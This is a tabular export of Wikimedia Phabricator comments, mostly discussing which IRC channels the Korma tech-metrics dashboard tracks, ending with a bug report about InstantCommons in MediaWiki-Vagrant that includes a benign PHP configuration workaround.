* ""wikimedia-collaboration"": TRACKED
* ""wikimedia-databases"": TRACKED
* ""wikimedia-design"":
* ""wikimedia-ect"":
* ""wikimedia-fundraising"": TRACKED
* ""wikimedia-mobile"": TRACKED
* ""wikimedia-multimedia"": TRACKED
* ""wikimedia-operations"": TRACKED
* ""wikimedia-perf"":
* ""wikimedia-qa"":
* ""wikimedia-releng"": TRACKED
* ""wikimedia-research"": TRACKED
* ""wikimedia-search"":
* ""wikimedia-teampractices"": TRACKED
* ""huggle"": TRACKED
* ""pywikibot"":
* ""wikidata"" TRACKED",,,1445281870,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0.25,0.0,0.0,0.0,0.0,1.75,0.5,0.0,0.0,0.0,0.5,0.25,0.0,0.0,0.0,0.25,0.25,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.75,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,6.5,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,7.0,0.0,17.5,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,3.0756578947368425,0.28175438596491226,"Based on info provided bySCREEN_NAME, I've added all of them, but mediawiki that was already in the list.

So, the list is as follows:

* ""mediawiki"": TRACKED
* ""mediawiki-i18n"": 
* ""semantic-mediawiki"": TRACKED
* ""mediawiki-parsoid"":
* ""mediawiki-visualeditor"": TRACKED
* ""mediawiki-scripts"":
* ""wikimedia-tech"": TRACKED
* ""wikimedia-dev"": TRACKED
* ""wikimedia-toolserver"": TRACKED
* ""wikimedia-labs"": TRACKED
* ""wikimedia-labs-nagios"":
* ""wikimedia-ai"": TRACKED
* ""wikimedia-analytics"": TRACKED
* ""wikimedia-cep"":
* ""mediawiki-core"": TRACKED
* ""wikimedia-collaboration"": TRACKED
* ""wikimedia-databases"": TRACKED
* ""wikimedia-design"":
* ""wikimedia-ect"":
* ""wikimedia-fundraising"": TRACKED
* ""wikimedia-mobile"": TRACKED
* ""wikimedia-multimedia"": TRACKED
* ""wikimedia-operations"": TRACKED
* ""wikimedia-perf"":
* ""wikimedia-qa"":
* ""wikimedia-releng"": TRACKED
* ""wikimedia-research"": TRACKED
* ""wikimedia-search"":
* ""wikimedia-teampractices"": TRACKED
* ""huggle"": TRACKED
* ""pywikibot"":
* ""wikidata"" TRACKED"
548364,Tech metrics missing IRC channels,">>! In T56230#1734947, @Dicortazar wrote:
> I'll close that pull request since the place to add/remove repositories takes place at https://github.com/Bitergia/mediawiki-repositories

Thanks! Good to know.

> On the other hand, is there a way to automatically retrieve the list of available channels?.

I'm afraid that technically speaking the answer is no. However for ""automatically retrieve the list of channels **which are logged by wm-bot**"" I have asked its maintainer and will update this task once I've received an answer.

> Finally, the list of updated repos analyzed by Korma are found at http://korma.wmflabs.org/browser/data/json/irc-repos.json

""wikimedia-toolserver"" is irrelevant nowadays, I've created https://github.com/Bitergia/mediawiki-repositories/pull/8 to remove it.

> For the rest of the non TRACKED IRC channels, there's missing information in some cases at https://meta.wikimedia.org/wiki/IRC/Channels about where the logs are stored.

Taking the list of channels which are not listed in our configuration yet, and which I'd be interested in, and which I could find public logs for in folders which saw recent updates:
* ""mediawiki"" - https://bots.wmflabs.org/~wm-bot/logs/%23mediawiki/
* ""mediawiki-visualeditor"" - https://bots.wmflabs.org/~wm-bot/logs/%23mediawiki-visualeditor/
* ""wikimedia-ai"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-ai/
* ""mediawiki-core"" - https://bots.wmflabs.org/~wm-bot/logs/%23mediawiki-core/
* ""wikimedia-collaboration"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-collaboration/
* ""wikimedia-databases"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-databases/
* ""wikimedia-multimedia"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-multimedia/
* ""wikimedia-releng"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-releng/
* ""wikimedia-research"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-research/
* ""wikimedia-teampractices"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-teampractices/
* ""wikidata"" - https://bots.wmflabs.org/~wm-bot/logs/%23wikidata/

Removing myself as assignee here as I don't know how the ""grab those logs"" infrastructure works exactly.",,,1445272505,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,0.0,0.0,0.0,3.3333333333333335,0.0,3.6666666666666665,5.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,13.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,1.6666666666666667,10.333333333333334,1.0,1.0,4.333333333333333,0.0,0.0,0.3333333333333333,0.0,3.0,0.3333333333333333,0.0,0.0,4.0,5.0,6.0,0.0,10.666666666666666,0.0,4.0,0.0,2.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,3.4679324894514765,0.5475210970464134,"QUOTE
QUOTE

Thanks! Good to know.

QUOTE

I'm afraid that technically speaking the answer is no. However for ""automatically retrieve the list of channels **which are logged by wm-bot**"" I have asked its maintainer and will update this task once I've received an answer.

QUOTE

""wikimedia-toolserver"" is irrelevant nowadays, I've created URL to remove it.

QUOTE

Taking the list of channels which are not listed in our configuration yet, and which I'd be interested in, and which I could find public logs for in folders which saw recent updates:
* ""mediawiki"" - URL
* ""mediawiki-visualeditor"" - URL
* ""wikimedia-ai"" - URL
* ""mediawiki-core"" - URL
* ""wikimedia-collaboration"" - URL
* ""wikimedia-databases"" - URL
* ""wikimedia-multimedia"" - URL
* ""wikimedia-releng"" - URL
* ""wikimedia-research"" - URL
* ""wikimedia-teampractices"" - URL
* ""wikidata"" - URL

Removing myself as assignee here as I don't know how the ""grab those logs"" infrastructure works exactly."
548304,Tech metrics missing IRC channels,"And regarding to the rest of IRC channels. Do we have logs for all of them?

The following ones were the ones added in the GitHub change:

* ""mediawiki"": TRACKED
* ""mediawiki-i18n"": 
* ""semantic-mediawiki"": TRACKED
* ""mediawiki-parsoid"":
* ""mediawiki-visualeditor"":
* ""mediawiki-scripts"":
* ""wikimedia-tech"": TRACKED
* ""wikimedia-dev"": TRACKED
* ""wikimedia-toolserver"": TRACKED
* ""wikimedia-labs"": TRACKED
* ""wikimedia-labs-nagios"":
* ""wikimedia-ai"":
* ""wikimedia-analytics"": TRACKED
* ""wikimedia-cep"":
* ""mediawiki-core"":
* ""wikimedia-collaboration"":
* ""wikimedia-databases"":
* ""wikimedia-design"":
* ""wikimedia-ect"":
* ""wikimedia-fundraising"": TRACKED
* ""wikimedia-mobile"": TRACKED
* ""wikimedia-multimedia"":
* ""wikimedia-operations"": TRACKED
* ""wikimedia-perf"":
* ""wikimedia-qa"":
* ""wikimedia-releng"":
* ""wikimedia-research"":
* ""wikimedia-search"":
* ""wikimedia-teampractices"":
* ""huggle"": TRACKED
* ""pywikibot"":
* ""wikidata""

For the rest of the non TRACKED IRC channels, there's missing information in some cases at https://meta.wikimedia.org/wiki/IRC/Channels about where the logs are stored.",,,1445267841,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0.5,0.0,0.0,0.25,0.0,1.75,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.25,0.25,0.25,0.25,2.75,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,5.25,0.25,0.25,2.5,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.5,2.75,5.25,0.25,17.0,0.0,0.5,0.0,0.25,0.0,0.25,0.5,0.0,0.0,0.0,3.028639240506329,0.34592563291139244,"And regarding to the rest of IRC channels. Do we have logs for all of them?

The following ones were the ones added in the GitHub change:

* ""mediawiki"": TRACKED
* ""mediawiki-i18n"": 
* ""semantic-mediawiki"": TRACKED
* ""mediawiki-parsoid"":
* ""mediawiki-visualeditor"":
* ""mediawiki-scripts"":
* ""wikimedia-tech"": TRACKED
* ""wikimedia-dev"": TRACKED
* ""wikimedia-toolserver"": TRACKED
* ""wikimedia-labs"": TRACKED
* ""wikimedia-labs-nagios"":
* ""wikimedia-ai"":
* ""wikimedia-analytics"": TRACKED
* ""wikimedia-cep"":
* ""mediawiki-core"":
* ""wikimedia-collaboration"":
* ""wikimedia-databases"":
* ""wikimedia-design"":
* ""wikimedia-ect"":
* ""wikimedia-fundraising"": TRACKED
* ""wikimedia-mobile"": TRACKED
* ""wikimedia-multimedia"":
* ""wikimedia-operations"": TRACKED
* ""wikimedia-perf"":
* ""wikimedia-qa"":
* ""wikimedia-releng"":
* ""wikimedia-research"":
* ""wikimedia-search"":
* ""wikimedia-teampractices"":
* ""huggle"": TRACKED
* ""pywikibot"":
* ""wikidata""

For the rest of the non TRACKED IRC channels, there's missing information in some cases at URL about where the logs are stored."
548274,Tech metrics missing IRC channels,"I've commented on the GitHub repo.

As a summary: I'll close that pull request since the place to add/remove repositories takes place at https://github.com/Bitergia/mediawiki-repositories

On the other hand, is there a way to automatically retrieve the list of available channels?.

Finally, the list of updated repos analyzed by Korma are found at http://korma.wmflabs.org/browser/data/json/irc-repos.json, but there are some more than the initial four: ""wikimedia-operations"", ""mediawiki"", ""wikimedia-dev"", ""wikimedia-labs"", ""wikimedia-mobile"", ""wikimedia-toolserver"", ""wikimedia-tech"", ""wikimedia-analytics"", ""wikimedia-fundraising"", ""semantic-mediawiki"", ""huggle""
",,,1445265939,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0.5,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,1.0,0.5,1.0,6.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,1.5,4.5,0.5,0.5,5.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.0,6.0,2.5,0.5,16.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,3.601449275362319,0.536231884057971,"I've commented on the GitHub repo.

As a summary: I'll close that pull request since the place to add/remove repositories takes place at URL

On the other hand, is there a way to automatically retrieve the list of available channels?.

Finally, the list of updated repos analyzed by Korma are found at URL but there are some more than the initial four: ""wikimedia-operations"", ""mediawiki"", ""wikimedia-dev"", ""wikimedia-labs"", ""wikimedia-mobile"", ""wikimedia-toolserver"", ""wikimedia-tech"", ""wikimedia-analytics"", ""wikimedia-fundraising"", ""semantic-mediawiki"", ""huggle""
"
540747,Tech metrics missing IRC channels,">>! In T56230#1557951, @Dicortazar wrote:
> I'll check that list and update those channels in Korma.

@Dicortazar: Clean pull request now in https://github.com/Bitergia/mediawiki-dashboard/pull/62",,,1443943426,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8333333333333334,"QUOTE
QUOTE
SCREEN_NAME: Clean pull request now in URL"
511890,Tech metrics missing IRC channels,"(let's keep the discussion of this task focused on IRC channels, not mixing it with code repositories)",,,1440097412,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,111,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.095238095238095,1.0,"(let's keep the discussion of this task focused on IRC channels, not mixing it with code repositories)"
511819,Tech metrics missing IRC channels,"Thanks for this update!

I'll check that list and update those channels in Korma.

@Dzahn and @Aklapper, I'm still working on the feature to automate the list of repositories to be tracked by Korma at {T104845}. In summary this will provide a list of repositories per data source and a black list for each of them.

Thus, anyone interested in tracing new repositories or in adding some of them to the black list, should modify such lists and pull request a change.

A first version of the files are available at GitHub in https://github.com/Bitergia/mediawiki-repositories. Those are old versions, so we shouldn't change those a lot.

So, if we keep that workflow, @Aklapper, my suggestion is to add a new config file to the GitHub repo (irc_channels.conf) with the correct list of repositories (sorted). I can do this in any case with the new list you provided. This will help to centralized those lists of repos.

Comments are welcome in any case :). It's a bit complex task to automate and trace repositories, but this could be an interesting feature for all of us :).",,,1440091921,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,111,,2.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,5.333333333333333,2.0,0.0,0.0,0.3333333333333333,3.0,1.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,12.333333333333334,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,1.0,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,14.0,1.6666666666666667,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,5.666666666666667,2.3333333333333335,7.333333333333333,0.3333333333333333,2.6666666666666665,11.666666666666666,0.0,1.0,0.3333333333333333,0.0,5.0,0.0,0.3333333333333333,0.0,4.333333333333333,12.333333333333334,2.6666666666666665,0.0,0.0,0.0,4.333333333333333,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.3333333333333333,3.9173642820903094,0.7340182648401826,"Thanks for this update!

I'll check that list and update those channels in Korma.
SCREEN_NAME andSCREEN_NAME, I'm still working on the feature to automate the list of repositories to be tracked by Korma at {T104845}. In summary this will provide a list of repositories per data source and a black list for each of them.

Thus, anyone interested in tracing new repositories or in adding some of them to the black list, should modify such lists and pull request a change.

A first version of the files are available at GitHub in URL Those are old versions, so we shouldn't change those a lot.

So, if we keep that workflow,SCREEN_NAME, my suggestion is to add a new config file to the GitHub repo (irc_channels.conf) with the correct list of repositories (sorted). I can do this in any case with the new list you provided. This will help to centralized those lists of repos.

Comments are welcome in any case :). It's a bit complex task to automate and trace repositories, but this could be an interesting feature for all of us :)."
511694,Tech metrics missing IRC channels,"So that updated list would be https://github.com/Bitergia/mediawiki-dashboard/pull/59/files (and obviously my GitHub workflow skills are still improvable, sigh)",,,1440085780,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,"So that updated list would be URL (and obviously my GitHub workflow skills are still improvable, sigh)"
489974,Tech metrics missing IRC channels,">>! In T56230#1443372, @Dzahn wrote:
> How do you add channels to korma?

Editing `/browser/data/json/irc-repos.json` in https://github.com/Bitergia/mediawiki-dashboard",,,1436531313,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,105,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,62.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,"QUOTE
QUOTE

Editing CODE in URL"
489720,Tech metrics missing IRC channels,How do you add channels to korma?,,,1436481722,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,How do you add channels to korma?
463994,Tech metrics missing IRC channels,"Once {T96371} is closed, we may want to work on this task again.

We can discuss this during this Friday conf call and leave it as June task.",,,1432652217,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,99,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,9.0,12.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3823529411764706,0.8823529411764706,"Once {T96371} is closed, we may want to work on this task again.

We can discuss this during this Friday conf call and leave it as June task."
241881,Tech metrics missing IRC channels,%%%*** Bug 60079 has been marked as a duplicate of this bug. ***%%%,,,1395751080,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 60079 has been marked as a duplicate of this bug. ***%%%
241877,Tech metrics missing IRC channels,IRC channels are not that critical. Normal priority.,,,1380233157,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9,IRC channels are not that critical. Normal priority.
241871,Tech metrics missing IRC channels,"Ooops, actually Nemo is (again) right:

https://meta.wikimedia.org/wiki/IRC/Channels#MediaWiki_and_technical
https://meta.wikimedia.org/wiki/IRC/Channels#Tools",,,1379541015,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9285714285714286,"Ooops, actually Nemo is (again) right:

URL
URL"
241867,Tech metrics missing IRC channels,"Check the URL above. I'm proposing only the ""MediaWiki and technical"" section plus #pywikipediabot",,,1379513170,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,21.0,0.0,11.0,11.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.473684210526316,0.8947368421052632,"Check the URL above. I'm proposing only the ""MediaWiki and technical"" section plus #pywikipediabot"
241862,Tech metrics missing IRC channels,"There are 261 Wikimedia IRC channels. We want to gather all those channels?

I think it is not a big issue to configure and implement it, but it could be an important delay and resource consuming in the update process because logs are included in one big file per channel and the incremental support can not be implemented.

http://bots.wmflabs.org/~wm-bot/logs/

Is there any other place with logs for IRC channels?",,,1379498684,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,11,,3.0,0.0,0.0,3.0,3.0,6.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,8.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,8.0,10.0,1.0,5.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,10.0,5.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.116883116883117,0.7532467532467533,"There are 261 Wikimedia IRC channels. We want to gather all those channels?

I think it is not a big issue to configure and implement it, but it could be an important delay and resource consuming in the update process because logs are included in one big file per channel and the incremental support can not be implemented.

URL

Is there any other place with logs for IRC channels?"
56202,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"InstantCommons does not work on Vagrant if you enable the 404 handler for images (the `thumb_on_404` role does that and most multimedia roles include it). The problem is related to thumbnail caching; similar to T101565, but the default wiki (`127.0.0.1`) is also affected.

As a workaround, caching can be disabled by creating `/vagrant/settings.d/10-DisableThumbnailCaching.php` with
```
<?php
$wgUseInstantCommons = false;
$wgForeignFileRepos[] = array(
	'class' => 'ForeignAPIRepo',
	'name' => 'wikimediacommons',
	'apibase' => 'http://commons.wikimedia.org/w/api.php',
	'fetchDescription' => true,
	'descriptionCacheExpiry' => 0,
	'apiThumbCacheExpiry' => 0,
);
```
